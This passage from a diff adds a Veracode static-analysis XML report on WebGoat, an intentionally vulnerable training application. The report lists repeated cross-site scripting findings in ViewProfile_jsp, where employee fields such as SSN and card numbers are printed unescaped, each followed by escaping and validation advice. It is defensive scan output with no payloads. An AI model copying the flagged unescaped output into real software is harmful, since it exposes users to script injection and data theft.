+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"31\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"116\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getSsn().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparametervalues,
+        javax.servlet.servletrequest.getparameter, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"66\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/SQLInjection/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.SQLInjection.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"34\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"155\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getSsn().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparametervalues,
+        javax.servlet.servletrequest.getparameter, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"66\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/RoleBasedAccessControl/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.RoleBasedAccessControl.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"34\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"189\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getCcn().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        java.sql.statement.executequery, java.sql.preparedstatement.executequery,
+        and javax.servlet.servletrequest.getparametervalues. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"69\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/CrossSiteScripting/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.CrossSiteScripting.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"35\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"179\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getCcn().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        java.sql.statement.executequery, java.sql.preparedstatement.executequery,
+        and javax.servlet.servletrequest.getparametervalues. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"70\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/SQLInjection/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.SQLInjection.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"39\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"32\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getCcn().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        java.sql.statement.executequery, java.sql.preparedstatement.executequery,
+        and javax.servlet.servletrequest.getparametervalues. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"70\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/RoleBasedAccessControl/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.RoleBasedAccessControl.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"39\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"145\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable webSession.htmlEncode().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparametervalues,
+        javax.servlet.servletrequest.getparameter, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"73\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/CrossSiteScripting/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.CrossSiteScripting.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"40\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"76\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getPersonalDescription().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparametervalues,
+        javax.servlet.servletrequest.getparameter, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"74\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/SQLInjection/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.SQLInjection.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"43\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"119\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getPersonalDescription().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparametervalues,
+        javax.servlet.servletrequest.getparameter, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"74\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/RoleBasedAccessControl/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.RoleBasedAccessControl.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"43\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"98\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getDisciplinaryActionDate().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparametervalues,
+        javax.servlet.servletrequest.getparameter, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"76\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/RoleBasedAccessControl/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.RoleBasedAccessControl.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"45\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"127\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getDisciplinaryActionNotes().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        java.sql.statement.executequery, java.sql.preparedstatement.executequery,
+        and javax.servlet.servletrequest.getparametervalues. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"77\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/CrossSiteScripting/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.CrossSiteScripting.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"44\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"100\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getDisciplinaryActionNotes().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        java.sql.statement.executequery, java.sql.preparedstatement.executequery,
+        and javax.servlet.servletrequest.getparametervalues. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
